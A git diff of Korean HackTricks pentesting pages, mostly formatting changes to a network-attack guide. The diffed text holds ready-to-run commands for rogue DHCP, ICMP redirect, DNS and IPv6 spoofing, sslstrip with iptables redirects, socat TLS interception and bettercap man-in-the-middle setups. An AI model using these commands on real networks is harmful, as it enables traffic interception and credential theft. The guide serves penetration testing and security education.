@ -574,22 +638,24 @@ DHCP 스크립트인 `/usr/share/responder/DHCP.py`를 사용하여 로그 DHCP
|
|||
|
||||
아래는 로그 DHCP 서버를 구성하기 위한 명령 옵션입니다:
|
||||
|
||||
- **우리 IP 주소 (게이트웨이 광고)**: `-i 10.0.0.100`을 사용하여 자신의 기계 IP를 게이트웨이로 광고합니다.
|
||||
- **로컬 DNS 도메인 이름**: 선택적으로 `-d example.org`을 사용하여 로컬 DNS 도메인 이름을 설정할 수 있습니다.
|
||||
- **원래 라우터/게이트웨이 IP**: 합법적인 라우터 또는 게이트웨이의 IP 주소를 지정하기 위해 `-r 10.0.0.1`을 사용합니다.
|
||||
- **기본 DNS 서버 IP**: 제어하는 악성 DNS 서버의 IP 주소를 설정하기 위해 `-p 10.0.0.100`을 사용합니다.
|
||||
- **보조 DNS 서버 IP**: 선택적으로 보조 DNS 서버 IP를 설정하기 위해 `-s 10.0.0.1`을 사용합니다.
|
||||
- **로컬 네트워크의 넷마스크**: 로컬 네트워크의 넷마스크를 정의하기 위해 `-n 255.255.255.0`을 사용합니다.
|
||||
- **DHCP 트래픽을 위한 인터페이스**: 특정 네트워크 인터페이스에서 DHCP 트래픽을 수신하기 위해 `-I eth1`을 사용합니다.
|
||||
- **WPAD 구성 주소**: 웹 트래픽 가로채기를 돕기 위한 WPAD 구성 주소를 설정하기 위해 `-w “http://10.0.0.100/wpad.dat”`을 사용합니다.
|
||||
- **기본 게이트웨이 IP 스푸핑**: 기본 게이트웨이 IP 주소를 스푸핑하기 위해 `-S`를 포함합니다.
|
||||
- **모든 DHCP 요청에 응답**: 서버가 모든 DHCP 요청에 응답하도록 하기 위해 `-R`을 포함합니다. 그러나 이는 소음이 발생하고 감지될 수 있으므로 주의해야 합니다.
|
||||
* **우리 IP 주소 (게이트웨이 광고)**: `-i 10.0.0.100`을 사용하여 자신의 기계 IP를 게이트웨이로 광고합니다.
|
||||
* **로컬 DNS 도메인 이름**: 선택적으로 `-d example.org`을 사용하여 로컬 DNS 도메인 이름을 설정할 수 있습니다.
|
||||
* **원래 라우터/게이트웨이 IP**: 합법적인 라우터 또는 게이트웨이의 IP 주소를 지정하기 위해 `-r 10.0.0.1`을 사용합니다.
|
||||
* **기본 DNS 서버 IP**: 제어하는 악성 DNS 서버의 IP 주소를 설정하기 위해 `-p 10.0.0.100`을 사용합니다.
|
||||
* **보조 DNS 서버 IP**: 선택적으로 보조 DNS 서버 IP를 설정하기 위해 `-s 10.0.0.1`을 사용합니다.
|
||||
* **로컬 네트워크의 넷마스크**: 로컬 네트워크의 넷마스크를 정의하기 위해 `-n 255.255.255.0`을 사용합니다.
|
||||
* **DHCP 트래픽을 위한 인터페이스**: 특정 네트워크 인터페이스에서 DHCP 트래픽을 수신하기 위해 `-I eth1`을 사용합니다.
|
||||
* **WPAD 구성 주소**: 웹 트래픽 가로채기를 돕기 위한 WPAD 구성 주소를 설정하기 위해 `-w “http://10.0.0.100/wpad.dat”`을 사용합니다.
|
||||
* **기본 게이트웨이 IP 스푸핑**: 기본 게이트웨이 IP 주소를 스푸핑하기 위해 `-S`를 포함합니다.
|
||||
* **모든 DHCP 요청에 응답**: 서버가 모든 DHCP 요청에 응답하도록 하기 위해 `-R`을 포함합니다. 그러나 이는 소음이 발생하고 감지될 수 있으므로 주의해야 합니다.
|
||||
|
||||
이러한 옵션을 올바르게 사용하여 로그 DHCP 서버를 설정하여 네트워크 트래픽을 효과적으로 가로챌 수 있습니다.
|
||||
|
||||
```python
|
||||
# Example to start a rogue DHCP server with specified options
|
||||
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
|
||||
```
|
||||
|
||||
### **EAP 공격**
|
||||
|
||||
다음은 802.1X 구현에 사용할 수 있는 공격 전술 중 일부입니다:
|
||||
|
@ -601,10 +667,12 @@ DHCP 스크립트인 `/usr/share/responder/DHCP.py`를 사용하여 로그 DHCP
|
|||
* 허브 또는 유사한 것을 사용하여 인증 후 악성 네트워크 트래픽 주입
|
||||
|
||||
공격자가 피해자와 인증 서버 사이에 위치한 경우, 그는 인증 프로토콜을 필요한 경우 EAP-MD5로 저하시킬 수 있으며, 인증 시도를 캡처할 수 있습니다. 그런 다음 다음을 사용하여 브루트 포스 공격을 시도할 수 있습니다:
|
||||
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) 공격 <a href="#6196" id="6196"></a>
|
||||
|
||||
### FHRP (GLBP & HSRP) 공격 <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol)은 **핫 리듀전트 라우팅 시스템을 생성**하기 위해 설계된 네트워크 프로토콜의 한 종류이다. FHRP를 사용하면 물리적인 라우터를 하나의 논리적인 장치로 결합하여 장애 허용성을 높이고 부하를 분산할 수 있다.
|
||||
|
||||
|
@ -618,14 +686,14 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
|||
|
||||
라우팅 정보 프로토콜(RIP)에는 RIP, RIPv2 및 RIPng의 세 가지 버전이 존재한다. RIP와 RIPv2는 UDP를 사용하여 포트 520으로 피어에게 데이터그램을 전송하고, RIPng는 IPv6 멀티캐스트를 통해 UDP 포트 521로 데이터그램을 브로드캐스트한다. RIPv2에서는 MD5 인증을 지원하며, RIPng에는 기본 인증이 포함되어 있지 않고 IPv6 내의 IPsec AH 및 ESP 헤더에 의존한다.
|
||||
|
||||
- **RIP 및 RIPv2:** 통신은 UDP 데이터그램을 사용하여 포트 520에서 이루어진다.
|
||||
- **RIPng:** IPv6 멀티캐스트를 통해 데이터그램을 브로드캐스트하기 위해 UDP 포트 521을 사용한다.
|
||||
* **RIP 및 RIPv2:** 통신은 UDP 데이터그램을 사용하여 포트 520에서 이루어진다.
|
||||
* **RIPng:** IPv6 멀티캐스트를 통해 데이터그램을 브로드캐스트하기 위해 UDP 포트 521을 사용한다.
|
||||
|
||||
RIPv2는 MD5 인증을 지원하며, RIPng에는 기본 인증이 포함되어 있지 않고 IPv6 내의 IPsec AH 및 ESP 헤더에 의존한다.
|
||||
|
||||
### EIGRP 공격
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)**은 동적 라우팅 프로토콜이다. **거리 벡터 프로토콜**이다. 인증이 없고 패시브 인터페이스의 구성이 없는 경우, **침입자**는 EIGRP 라우팅을 방해하고 **라우팅 테이블 독립성**을 유발할 수 있다. 또한, EIGRP 네트워크(다른 말로 자율 시스템)는 **평면이며 어떠한 존으로도 분할되지 않는다**. **공격자가 경로를 주입**하면 이 경로가 자율 EIGRP 시스템 전체에 **퍼질 가능성**이 높다.
|
||||
\*\*EIGRP (Enhanced Interior Gateway Routing Protocol)\*\*은 동적 라우팅 프로토콜이다. **거리 벡터 프로토콜**이다. 인증이 없고 패시브 인터페이스의 구성이 없는 경우, **침입자**는 EIGRP 라우팅을 방해하고 **라우팅 테이블 독립성**을 유발할 수 있다. 또한, EIGRP 네트워크(다른 말로 자율 시스템)는 **평면이며 어떠한 존으로도 분할되지 않는다**. **공격자가 경로를 주입**하면 이 경로가 자율 EIGRP 시스템 전체에 **퍼질 가능성**이 높다.
|
||||
|
||||
EIGRP 시스템을 공격하기 위해서는 **합법적인 EIGRP 라우터와 이웃 관계를 형성**해야 하며, 이는 기본적인 정찰부터 다양한 주입까지 다양한 가능성을 열어준다.
|
||||
|
||||
|
@ -641,22 +709,24 @@ EIGRP 시스템을 공격하기 위해서는 **합법적인 EIGRP 라우터와
|
|||
|
||||
Open Shortest Path First (OSPF) 프로토콜에서는 **MD5 인증을 통해 라우터 간의 안전한 통신을 보장**하는 것이 일반적이다. 그러나 Loki와 John the Ripper와 같은 도구를 사용하여 이 보안 조치를 침해할 수 있다. 이러한 도구는 MD5 해시를 캡처하고 크래킹하여 인증 키를 노출시킬 수 있다. 이 키를 획득하면 새로운 라우팅 정보를 도입하는 데 사용할 수 있다. 라우트 매개변수를 구성하고 침해된 키를 설정하기 위해 _Injection_ 및 _Connection_ 탭을 사용한다.
|
||||
|
||||
- **MD5 해시 캡처 및 크래킹:** Loki와 John the Ripper와 같은 도구를 사용한다.
|
||||
- **라우트 매개변수 구성:** _Injection_ 탭을 통해 수행한다.
|
||||
- **침해된 키 설정:** _Connection_ 탭에서 키를 구성한다.
|
||||
* **MD5 해시 캡처 및 크래킹:** Loki와 John the Ripper와 같은 도구를 사용한다.
|
||||
* **라우트 매개변수 구성:** _Injection_ 탭을 통해 수행한다.
|
||||
* **침해된 키 설정:** _Connection_ 탭에서 키를 구성한다.
|
||||
|
||||
### 기타 일반 도구 및 소스
|
||||
|
||||
* [**Above**](https://github.com/c4s73r/Above): 네트워크 트래픽을 스캔하고 취약점을 찾는 도구
|
||||
* 네트워크 공격에 대한 **추가 정보는 [여기](https://github.com/Sab0tag3d/MITM-cheatsheet)**에서 찾을 수 있다.
|
||||
* 네트워크 공격에 대한 \*\*추가 정보는 [여기](https://github.com/Sab0tag3d/MITM-cheatsheet)\*\*에서 찾을 수 있다.
|
||||
|
||||
## **스푸핑**
|
||||
|
||||
공격자는 가짜 DHCP 응답을 보내어 네트워크의 새로운 구성원의 모든 네트워크 매개변수(GW, IP, DNS)를 설정한다.
|
||||
|
||||
```bash
|
||||
Ettercap
|
||||
yersinia dhcp -attack 2 #More parameters are needed
|
||||
```
|
||||
|
||||
### ARP 스푸핑
|
||||
|
||||
[이전 섹션](./#arp-spoofing)을 확인하세요.
|
||||
|
@ -664,17 +734,21 @@ yersinia dhcp -attack 2 #More parameters are needed
|
|||
### ICMPRedirect
|
||||
|
||||
ICMP 리디렉션은 ICMP 패킷을 보내는 것으로, 타입 1 코드 5인 ICMP 패킷을 보내어 공격자가 특정 IP에 접근하는 가장 좋은 방법임을 알려줍니다. 그런 다음 피해자가 해당 IP에 연락하려고 할 때, 패킷은 공격자를 통해 전송됩니다.
|
||||
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
|
||||
```
|
||||
|
||||
### DNS 스푸핑
|
||||
|
||||
공격자는 피해자가 요청한 도메인 중 일부 (또는 모두)를 해석합니다.
|
||||
|
||||
```bash
|
||||
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
|
||||
```
|
||||
|
||||
**dnsmasq를 사용하여 자체 DNS 구성**
|
||||
|
||||
dnsmasq는 작고 가벼운 DNS 서버 및 DHCP 서버로 사용할 수 있는 도구입니다. 이를 사용하여 자체 DNS 서버를 구성할 수 있습니다. 이를 통해 특정 도메인 이름을 특정 IP 주소로 매핑하거나, DNS 캐싱을 통해 네트워크 성능을 향상시킬 수 있습니다.
|
||||
|
@ -682,31 +756,28 @@ dnsmasq는 작고 가벼운 DNS 서버 및 DHCP 서버로 사용할 수 있는
|
|||
다음은 dnsmasq를 사용하여 자체 DNS 서버를 구성하는 방법입니다.
|
||||
|
||||
1. dnsmasq 패키지를 설치합니다.
|
||||
- Debian/Ubuntu: `sudo apt-get install dnsmasq`
|
||||
- CentOS/RHEL: `sudo yum install dnsmasq`
|
||||
|
||||
* Debian/Ubuntu: `sudo apt-get install dnsmasq`
|
||||
* CentOS/RHEL: `sudo yum install dnsmasq`
|
||||
2. `/etc/dnsmasq.conf` 파일을 엽니다.
|
||||
|
||||
3. 필요한 경우, `listen-address` 옵션을 사용하여 DNS 서버가 수신 대기할 IP 주소를 지정합니다. 기본적으로 모든 인터페이스에서 수신 대기합니다.
|
||||
|
||||
4. 필요한 경우, `server` 옵션을 사용하여 외부 DNS 서버를 지정합니다. 이를 통해 외부 DNS 서버로의 요청을 전달할 수 있습니다.
|
||||
|
||||
5. 필요한 경우, `address` 옵션을 사용하여 특정 도메인 이름을 특정 IP 주소로 매핑합니다. 이를 통해 로컬에서 특정 도메인 이름을 사용할 수 있습니다.
|
||||
|
||||
6. 필요한 경우, `cache-size` 옵션을 사용하여 DNS 캐시의 크기를 지정합니다. 이를 통해 DNS 쿼리의 응답 시간을 단축시킬 수 있습니다.
|
||||
|
||||
7. `dnsmasq` 서비스를 시작합니다.
|
||||
- Debian/Ubuntu: `sudo systemctl start dnsmasq`
|
||||
- CentOS/RHEL: `sudo service dnsmasq start`
|
||||
* Debian/Ubuntu: `sudo systemctl start dnsmasq`
|
||||
* CentOS/RHEL: `sudo service dnsmasq start`
|
||||
|
||||
이제 dnsmasq를 사용하여 자체 DNS 서버를 구성했습니다. 이를 통해 DNS 관련 작업을 보다 효율적으로 수행할 수 있습니다.
|
||||
|
||||
```bash
|
||||
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
|
||||
dig @localhost domain.example.com # Test the configured DNS
|
||||
```
|
||||
|
||||
### 로컬 게이트웨이
|
||||
|
||||
시스템과 네트워크로의 여러 경로가 종종 존재합니다. 로컬 네트워크 내에서 MAC 주소 목록을 작성한 후, _gateway-finder.py_를 사용하여 IPv4 포워딩을 지원하는 호스트를 식별하세요.
|
||||
시스템과 네트워크로의 여러 경로가 종종 존재합니다. 로컬 네트워크 내에서 MAC 주소 목록을 작성한 후, \_gateway-finder.py\_를 사용하여 IPv4 포워딩을 지원하는 호스트를 식별하세요.
|
||||
|
||||
```
|
||||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||||
root@kali:~# cd gateway-finder/
|
||||
|
@ -724,9 +795,10 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
|||
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
```
|
||||
|
||||
### [LLMNR, NBT-NS, 및 mDNS 스푸핑](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Microsoft 시스템은 DNS 조회가 실패할 경우 로컬 호스트 해결을 위해 **링크 로컬 멀티캐스트 이름 해결 (LLMNR)** 및 **NetBIOS 이름 서비스 (NBT-NS)**를 사용합니다. 마찬가지로 **Apple Bonjour** 및 **Linux zero-configuration** 구현은 네트워크 내의 시스템을 발견하기 위해 **멀티캐스트 DNS (mDNS)**를 사용합니다. 이러한 프로토콜은 인증되지 않은 특성과 UDP를 통한 메시지 브로드캐스팅으로 인해, 악의적인 서비스로 사용자를 리디렉션하는 공격자에 의해 악용될 수 있습니다.
|
||||
Microsoft 시스템은 DNS 조회가 실패할 경우 로컬 호스트 해결을 위해 **링크 로컬 멀티캐스트 이름 해결 (LLMNR)** 및 \*\*NetBIOS 이름 서비스 (NBT-NS)\*\*를 사용합니다. 마찬가지로 **Apple Bonjour** 및 **Linux zero-configuration** 구현은 네트워크 내의 시스템을 발견하기 위해 \*\*멀티캐스트 DNS (mDNS)\*\*를 사용합니다. 이러한 프로토콜은 인증되지 않은 특성과 UDP를 통한 메시지 브로드캐스팅으로 인해, 악의적인 서비스로 사용자를 리디렉션하는 공격자에 의해 악용될 수 있습니다.
|
||||
|
||||
Responder를 사용하여 호스트가 검색하는 서비스를 가장할 수 있습니다.\
|
||||
[Responder를 사용하여 서비스를 가장하는 방법에 대한 자세한 정보는 여기에서 확인하세요](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
@ -735,9 +807,9 @@ Responder를 사용하여 호스트가 검색하는 서비스를 가장할 수
|
|||
|
||||
브라우저는 일반적으로 **웹 프록시 자동 구성 (WPAD) 프로토콜을 사용하여 프록시 설정을 자동으로 얻습니다**. 이는 "http://wpad.example.org/wpad.dat"와 같은 URL을 통해 구성 세부 정보를 서버에서 가져오는 것을 포함합니다. 클라이언트에 의한 이 서버의 발견은 다음과 같은 메커니즘을 통해 이루어질 수 있습니다:
|
||||
|
||||
- **DHCP**를 통해, 특별한 코드 252 항목을 사용하여 발견이 용이하게 됩니다.
|
||||
- **DNS**를 통해, 로컬 도메인 내에서 _wpad_로 레이블이 지정된 호스트 이름을 검색하는 것을 의미합니다.
|
||||
- **Microsoft LLMNR 및 NBT-NS**를 통해, DNS 조회가 성공하지 않은 경우에 대비한 대체 메커니즘으로 사용됩니다.
|
||||
* **DHCP**를 통해, 특별한 코드 252 항목을 사용하여 발견이 용이하게 됩니다.
|
||||
* **DNS**를 통해, 로컬 도메인 내에서 \_wpad\_로 레이블이 지정된 호스트 이름을 검색하는 것을 의미합니다.
|
||||
* **Microsoft LLMNR 및 NBT-NS**를 통해, DNS 조회가 성공하지 않은 경우에 대비한 대체 메커니즘으로 사용됩니다.
|
||||
|
||||
Responder 도구는 악의적인 **WPAD 서버**로서 이 프로토콜을 이용합니다. DHCP, DNS, LLMNR 및 NBT-NS를 사용하여 클라이언트가 이 서버에 연결되도록 속이는 것입니다. Responder를 사용하여 서비스를 가장하는 방법에 대해 자세히 알아보려면 [여기를 확인하세요](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
|
@ -748,27 +820,33 @@ Responder 도구는 악의적인 **WPAD 서버**로서 이 프로토콜을 이
|
|||
### IPv6 이웃 스푸핑
|
||||
|
||||
이 공격은 ARP 스푸핑과 매우 유사하지만 IPv6 환경에서 발생합니다. 피해자가 공격자의 MAC 주소를 가진 GW의 IPv6를 가지고 있다고 생각하게 할 수 있습니다.
|
||||
|
||||
```bash
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
```
|
||||
|
||||
### IPv6 라우터 광고 스푸핑/플러딩
|
||||
|
||||
일부 운영체제는 기본적으로 네트워크에서 전송된 RA 패킷에서 게이트웨이를 구성합니다. 공격자를 IPv6 라우터로 선언하기 위해 다음을 사용할 수 있습니다:
|
||||
|
||||
```bash
|
||||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
|
||||
### IPv6 DHCP 스푸핑
|
||||
|
||||
기본적으로 일부 운영체제는 네트워크에서 DHCPv6 패킷을 읽어 DNS를 구성하려고 시도합니다. 그런 다음, 공격자는 자신을 DNS로 구성하기 위해 DHCPv6 패킷을 보낼 수 있습니다. DHCP는 또한 피해자에게 IPv6를 제공합니다.
|
||||
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
|
||||
mitm6
|
||||
```
|
||||
|
||||
### HTTP (가짜 페이지 및 JS 코드 삽입)
|
||||
|
||||
## 인터넷 공격
|
||||
|
@ -776,6 +854,7 @@ mitm6
|
|||
### sslStrip
|
||||
|
||||
이 공격은 **사용자**가 **HTTP** 페이지에 접근하려고 할 때, 해당 페이지가 **HTTPS** 버전으로 **리디렉션**되는 경우에 수행됩니다. **sslStrip**은 **클라이언트와 HTTP 연결** 및 **서버와 HTTPS 연결**을 유지하여 연결을 **평문으로 스니핑**할 수 있습니다.
|
||||
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
|
@ -784,29 +863,33 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
|||
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
|
||||
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
```
|
||||
|
||||
더 많은 정보는 [여기](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)에서 확인할 수 있습니다.
|
||||
|
||||
### HSTS 우회를 위한 sslStrip+ 및 dns2proxy
|
||||
|
||||
**sslStrip+와 dns2proxy**는 **sslStrip**과의 **차이점**은 예를 들어 _**www.facebook.com**_을 _**wwww.facebook.com**_으로 **리다이렉트**하고 이 도메인의 **주소를 공격자 IP로 설정**한다는 것입니다. 이렇게 하면 **클라이언트**는 _**wwww.facebook.com**_ (공격자)에 **연결**하지만 **sslstrip+**는 **실제 연결**을 통해 **www.facebook.com**과의 https 연결을 유지합니다.
|
||||
**sslStrip+와 dns2proxy**는 **sslStrip**과의 **차이점**은 예를 들어 \_**www.facebook.com**\_을 \_**wwww.facebook.com**\_으로 **리다이렉트**하고 이 도메인의 **주소를 공격자 IP로 설정**한다는 것입니다. 이렇게 하면 **클라이언트**는 _**wwww.facebook.com**_ (공격자)에 **연결**하지만 \*\*sslstrip+\*\*는 **실제 연결**을 통해 **www.facebook.com**과의 https 연결을 유지합니다.
|
||||
|
||||
이 기술의 **목표**는 _**wwww**.facebook.com_이 브라우저의 **캐시에 저장되지 않으므로** HSTS를 **회피**하는 것입니다. 따라서 브라우저는 **facebook 인증을 HTTP로 수행하도록 속일 수 있습니다**.\
|
||||
이 기술의 **목표**는 \_**wwww**.facebook.com\_이 브라우저의 **캐시에 저장되지 않으므로** HSTS를 **회피**하는 것입니다. 따라서 브라우저는 **facebook 인증을 HTTP로 수행하도록 속일 수 있습니다**.\
|
||||
이 공격을 수행하려면 피해자가 처음에 [http://www.faceook.com](http://www.faceook.com)에 액세스하려고 시도해야 합니다. 이는 http 페이지 내의 링크를 수정하여 수행할 수 있습니다.
|
||||
|
||||
더 많은 정보는 [여기](https://www.bettercap.org/legacy/#hsts-bypass), [여기](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 및 [여기](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)에서 확인할 수 있습니다.
|
||||
|
||||
**sslStrip 또는 sslStrip+는 더 이상 작동하지 않습니다. 이는 브라우저에 미리 저장된 HSTS 규칙이 있기 때문입니다. 따라서 사용자가 "중요한" 도메인에 처음 액세스하는 경우에도 HTTPS를 통해 액세스합니다. 또한, 미리 저장된 규칙과 생성된 다른 규칙은** [**`includeSubdomains`**](https://hstspreload.appspot.com) **플래그를 사용할 수 있으므로 앞에서 언급한 _**wwww.facebook.com**_ 예제는** _**facebook.com**_ **이 `includeSubdomains`를 사용하여 HSTS를 사용하므로 더 이상 작동하지 않습니다.**
|
||||
**sslStrip 또는 sslStrip+는 더 이상 작동하지 않습니다. 이는 브라우저에 미리 저장된 HSTS 규칙이 있기 때문입니다. 따라서 사용자가 "중요한" 도메인에 처음 액세스하는 경우에도 HTTPS를 통해 액세스합니다. 또한, 미리 저장된 규칙과 생성된 다른 규칙은** [**`includeSubdomains`**](https://hstspreload.appspot.com) **플래그를 사용할 수 있으므로 앞에서 언급한 \_**wwww.facebook.com**\_ 예제는** _**facebook.com**_ **이 `includeSubdomains`를 사용하여 HSTS를 사용하므로 더 이상 작동하지 않습니다.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
## 포트에서 TCP 수신 대기
|
||||
|
||||
```bash
|
||||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
```
|
||||
|
||||
## 포트에서 TCP + SSL 수신 대기
|
||||
|
||||
#### 키 및 자체 서명된 인증서 생성
|
||||
|
||||
```
|
||||
FILENAME=server
|
||||
# Generate a public/private key pair:
|
||||
|
@ -816,6 +899,7 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
|
|||
# Generate the PEM file by just appending the key and certificate files:
|
||||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||||
```
|
||||
|
||||
#### 인증서를 사용하여 도청하기
|
||||
|
||||
To perform a man-in-the-middle attack and listen to network traffic using a certificate, follow these steps:
|
||||
|
@ -828,9 +912,11 @@ To perform a man-in-the-middle attack and listen to network traffic using a cert
|
|||
6. Decrypt and analyze the intercepted traffic.
|
||||
|
||||
By using a certificate, you can decrypt encrypted traffic and gain access to sensitive information such as usernames, passwords, and other confidential data. However, it is important to note that this technique may be illegal and unethical if used without proper authorization. Always ensure you have the necessary permissions and legal rights before attempting any hacking activities.
|
||||
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||||
```
|
||||
|
||||
#### 인증서를 사용하여 듣고 호스트로 리디렉션하기
|
||||
|
||||
To listen to network traffic, you can use a certificate to decrypt the encrypted communication. This allows you to intercept and analyze the data being transmitted between hosts. By redirecting the traffic to your own machine, you can gain visibility into the communication and potentially exploit vulnerabilities.
|
||||
|
@ -838,25 +924,24 @@ To listen to network traffic, you can use a certificate to decrypt the encrypted
|
|||
Here is a step-by-step guide on how to listen using a certificate and redirect the traffic to the hosts:
|
||||
|
||||
1. Generate a certificate: Start by generating a certificate that will be used to decrypt the traffic. You can use tools like OpenSSL to create a self-signed certificate.
|
||||
|
||||
2. Install the certificate: Once the certificate is generated, you need to install it on the machine where you will be intercepting the traffic. This can be done by importing the certificate into the trusted root certificate store.
|
||||
|
||||
3. Configure the interception: Set up a proxy server or a Man-in-the-Middle (MitM) attack to intercept the traffic. This can be done using tools like Burp Suite or mitmproxy.
|
||||
|
||||
4. Redirect the traffic: Configure the proxy server or MitM attack to redirect the intercepted traffic to the desired hosts. This can be done by modifying the network settings or using specific tools provided by the interception tool.
|
||||
|
||||
5. Analyze the traffic: Once the traffic is redirected, you can analyze it using various tools and techniques. This includes inspecting the HTTP requests and responses, analyzing the SSL/TLS handshake, and identifying potential vulnerabilities.
|
||||
|
||||
By listening using a certificate and redirecting the traffic to the hosts, you can gain valuable insights into the communication and identify potential security weaknesses. However, it is important to note that intercepting network traffic without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before performing any interception activities.
|
||||
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
|
||||
클라이언트가 CA가 유효한지 확인하는 경우, **CA에 의해 서명된 다른 호스트 이름의 인증서를 제공**할 수도 있습니다.\
|
||||
또 다른 흥미로운 테스트는 요청된 호스트 이름의 **자체 서명된 인증서를 제공**하는 것입니다.
|
||||
|
||||
다른 테스트할 사항으로는 유효한 CA가 아닌 유효한 인증서로 인증서를 서명하려고 시도하는 것이 있습니다. 또는 유효한 공개 키를 사용하여 실제 개인 키로 아무것도 해독할 필요가 없는 디피 헬만과 같은 알고리즘을 강제로 사용하고 클라이언트가 실제 개인 키의 프로브(해시와 같은 것)를 요청할 때 가짜 프로브를 보내고 클라이언트가 이를 확인하지 않도록 기대하는 것입니다.
|
||||
|
||||
## Bettercap
|
||||
|
||||
```bash
|
||||
# Events
|
||||
events.stream off #Stop showing events
|
||||
|
@ -882,6 +967,7 @@ set wifi.ap.channel 5
|
|||
set wifi.ap.encryption false #If true, WPA2
|
||||
wifi.recon on; wifi.ap
|
||||
```
|
||||
|
||||
### Active Discovery Notes
|
||||
|
||||
디바이스로 UDP 패킷을 보낼 때, 요청한 포트를 가지고 있지 않은 경우 ICMP (Port Unreachable)가 전송됩니다.
|
||||
|
@ -933,7 +1019,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Python 샌드박스 우회
|
||||
# Bypass Python sandboxes
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,14 +9,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
